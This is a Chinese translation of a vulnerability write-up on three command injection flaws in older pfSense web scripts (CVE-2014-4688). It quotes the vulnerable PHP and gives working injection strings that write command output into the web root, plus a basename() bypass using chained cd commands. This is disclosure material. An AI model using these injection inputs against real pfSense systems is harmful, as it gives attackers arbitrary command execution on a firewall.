<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/8413

            翻譯:mssp299

            原文地址:https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/

            0x00 導言


            在本文中,我們將向大家介紹在PfSense2.1.3以及更低版本中的CVE-2014-4688漏洞;對于更高的版本來說,pfSense已經修復了這個漏洞。

            0x01 Diag_dns.php腳本中的命令注入漏洞


            下面展示的是腳本diag_dns.php中存在命令注入漏洞的代碼片。我們可以看到,這段代碼首先檢查POST參數host是否存在,如果存在的話,就將變量$GET的值賦給變量$POST。然后,代碼繼續檢查GET參數createalias的值是否等于true,如果是的話,則把POST參數host的值的首尾空白符去掉:trim()函數的作用就是去掉字符串首尾處的空白符,但是字符串中間部分的空白符則保持不變。之后,還有一些其他語句,不過它們并不是我們這里關注的重點,我們關心的是如何插入在反引號中運行的命令。

            /* Cheap hack to support both $_GET and $_POST */
            if ($_GET['host'])
            $_POST = $_GET;
            
            if($_GET['createalias'] == "true") {
            $host = trim($_POST['host']);
            if($_GET['override'])
            $override = true;
            $a_aliases = &$config['aliases']['alias'];
            $type = "hostname";
            $resolved = gethostbyname($host);
            if($resolved) {
            $host = trim($_POST['host']);
            $dig=`dig "$host" A | grep "$host" | grep -v ";" | awk '{ print 5 }'`;
            

            由于我們可以直接操縱變量$host的值,因此,我們完全可以在注入代碼的反引號中插入我們想要執行的命令。下面,我們輸入以下內容,讓它作為POST變量host的輸入值:

            192.168.1.1";ifconfig>/usr/local/www/temp.txt;echo+"
            

            下面展示的是含有上述輸入字符串的HTTP請求,具體如圖所示。

            enter image description here

            圖1 發送給服務器的惡意請求

            當上面所示的請求被執行時,Web瀏覽器會顯示如下所示的內容,其中含有一個錯誤信息,出錯原因是沒有提供有效的主機名。

            enter image description here

            圖2 錯誤消息:invalid hostname

            我們已經在用戶提供的POST參數host放入了一個特殊字符;,這個字符的作用是分隔多個順序執行的命令。需要注意的是這種情況下,只有當第一條命令返回``(成功返回)的時候,第二條命令才會被執行;因此,只有確保前面的命令全部成功,后面的命令才能得以執行。下面給出一些可以放在反引號中執行的命令:

            # dig "192.168.1.1";
            # ifconfig>/usr/local/www/temp.txt;
            # echo+"" A | grep "192.168.1.1";
            # ifconfig>/usr/local/www/temp.txt;
            # echo+"" | grep -v ";" | awk '{ print $5 }'
            

            我們會看到,每條命令都會正確執行,其中最重要的命令就是ifconfig了,它已經被注入到了獲得輸出內容的腳本中了。由于我們無法直接通過響應報文獲得這些命令的輸出結果,所以必須通過管道命令將其輸出到DocumentRoot下的一個文件中,然后才能通過Web瀏覽器正常訪問。下面展示的是https://pfsense/temp.txt中的部分請求內容。

            enter image description here

            圖3 生成的temp.txt文件

            前面,我們已經成功地注入了ifconfig命令并得到了其輸出結果,實際上這就意味著我們可以向diag_dns.php腳本輸入任意命令并能得到其輸出結果。

            因此,攻擊者可以注入精心構造的命令,并使其在服務器上面執行。

            0x02 Diag_smart.php腳本中的命令注入


            diag_smart.php腳本中,含有一個名為update_email的函數,代碼如下所示。這個函數的作用是編輯smartd.conf文件,來添加或刪除通知磁盤出錯情況的電子郵件地址。從下面的代碼可以看到,這個函數帶有一個名為smartmonemailPOST參數。需要注意的是,這個函數會調用sed命令,并將參數unescaped直接傳遞給shell_exec函數。

             function update_email($email)
              {
              // Did they pass an email?
              if(!empty($email))
              {
              // Put it in the smartd.conf file
              shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m "
             $email . "/' /usr/local/etc/smartd.conf");
              }
              // Nope
              Else
              {
              // Remove email flags in smartd.conf
              shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN/'
            usr/local/etc/smartd.conf");
              }
              }
              if($_POST['email'])
              {
              // Write the changes to the smartd.conf file
              update_email($_POST['smartmonemail']);
              }
            

            實際上,上面的代碼存在一個漏洞,允許我們向shell_exec函數注入任意命令,并執行之。下面的請求為我們展示了一個命令注入示例,它將"Command Injection"反射到/var/local/www/cmd.txt文件中。

            shell_exec函數執行時,實際上下列命令也會隨之執行。

            # /usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m ejan/'+/usr/local/etc/lynx.cfg;
            # echo+"Command+Injection">/usr/local/www/cmd.txt;
            # echo+' /' /usr/local/etc/smartd.conf;
            

            在上面的命令中,第一條和第三條命令只是配角,中間那條命令才是我們想要注入的主角。實際上,我們可以利用shell_exec函數注入任意命令。如果使用瀏覽器訪問https://pfsense/cmd.txt就會發現,這個字符串實際上已經被保存到DocumentRoot下的相應文件中了。

            enter image description here

            圖4 生成的cmd.txt文件

            換句話說,攻擊者可以注入任意命令,并使其在服務器上面執行。

            0x03 Status_rrd_graph_img.php腳本中的命令注入漏洞


            status_rrd_graph_img.php腳本中也存在命令注入漏洞,這主要是由于exec()函數的調用方式引起的,下面是與此漏洞有關的部分代碼。

            if ($_GET['database']) {
              $curdatabase = basename($_GET['database']);
              } else {
              $curdatabase = "wan-traffic.rrd";
              }
            
            
             if(strstr($curdatabase, "queues")) {
              log_error(sprintf(gettext("failed to create graph from %s%s,
            emoving database"),$rrddbpath,$curdatabase));
              exec("/bin/rm -f $rrddbpath$curif$queues");
              Flush();
              Usleep(500);
              enable_rrd_graphing();
              }
              if(strstr($curdatabase, "queuesdrop")) {
              log_error(sprintf(gettext("failed to create graph from %s%s,
            emoving database"),$rrddbpath,$curdatabase));
              exec("/bin/rm -f $rrddbpath$curdatabase");
              Flush();
              Usleep(500);
              enable_rrd_graphing();
              }
            

            在上述代碼的開頭部分,會根據GET參數database的設置情況來調用basename函數:如果設置了該參數,則利用它來調用basename函數;否則就被設為靜態字符串wan-traffic.rrd。由于我們想要將代碼注入到這個腳本中,所以,我們必須將這個參數設為某個值,因為我們必須這樣做才能繞過basename函數。此外,basename函數需要一個文件路徑作為其參數,其返回值為路徑中的文件名部分(不包括擴展名),需要說明的是在Linux /BSD(pfSense)中使用正斜杠/來作為路徑分隔符。因此,這個函數返回的內容基本上就是最后一個正斜杠/后面的字符串,這一點在注入參數值時必須考慮到,因為最后一個正斜杠前面的內容都會被刪去。 因此,我們可以向GET參數database中注入任意字符,但是正斜杠除外。需要注意的是,我們可以向上面代碼中的任何一個exec()語句注入命令,這主要取決于利用GET參數databage傳遞的字符串——就本例來說,我們使用的是第二個exec()函數調用,因為它要更簡單一些。 當上面的底部代碼被執行的時候,下列命令也會隨之執行。

            # /bin/rm -f /var/db/rrd/$curdatabase;
            

            我們可以在這個命令的尾部添加字符;,以便插入其他在rm命令運行結束以后需要執行的命令。需要說明的是,如果我們使用了命令分隔符;的話,那么只有當rm命令已經成功執行完成之后,后插入的命令才會被執行。如果我們并不關心rm命令的執行結果的話,我們可以使用&&來分隔命令。需要說明的是,我們無法向任意目錄中echo文本,因為這里不允許使用正斜杠。為了克服這個問題,我們可以先通過cd命令進入預定目錄,然后通過命令管道實現文本傳輸的目的。首先,我們必須搞清楚被執行代碼的當前目錄,這里為/var/db/rrd/directory。下面的請求展示了我們是如何執行queues;echo+"CMD+INJECT">cmd.txt命令的。

            enter image description here

            圖5 執行echo命令的請求

            由于當前目錄是/var/db/rrd/,因此,這里創建的cmd.txt文件的內容為CMD INJECT,這可以通過顯示該文件的內容來加以檢驗。

            # cat /var/db/rrd/cmd.txt CMD INJECT
            

            為了在PfSense安裝路徑下的DocumentRoot中生成同樣的文件,我們可以通過三個cd ..命令返回上層目錄,然后切換至 /usr/local/www/ directory目錄,并從這里執行echo命令。這樣就能夠在/usr/local/www/cmd.txt路徑生成cmd.txt文件了。

            enter image description here

            圖6 執行echo命令的請求

            由于我們當前位于PfSense Web應用的DocumentRoot目錄中,所以只要在瀏覽器中請求cmd.txt,就能知道是否收到了輸出CMD INJECT了。

            enter image description here

            圖7 生成的cmd.txt文件

            這個漏洞允許我們在PfSense服務器上執行任意的代碼,因此最終會導致這個防火墻形同虛設。 換句話說,攻擊者可以注入任意命令,并使其在服務器上面執行。

            0x04 小結


            本文詳細分析了我們在PfSense中發現的一些命令注入漏洞,希望對讀者朋友們有所幫助。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线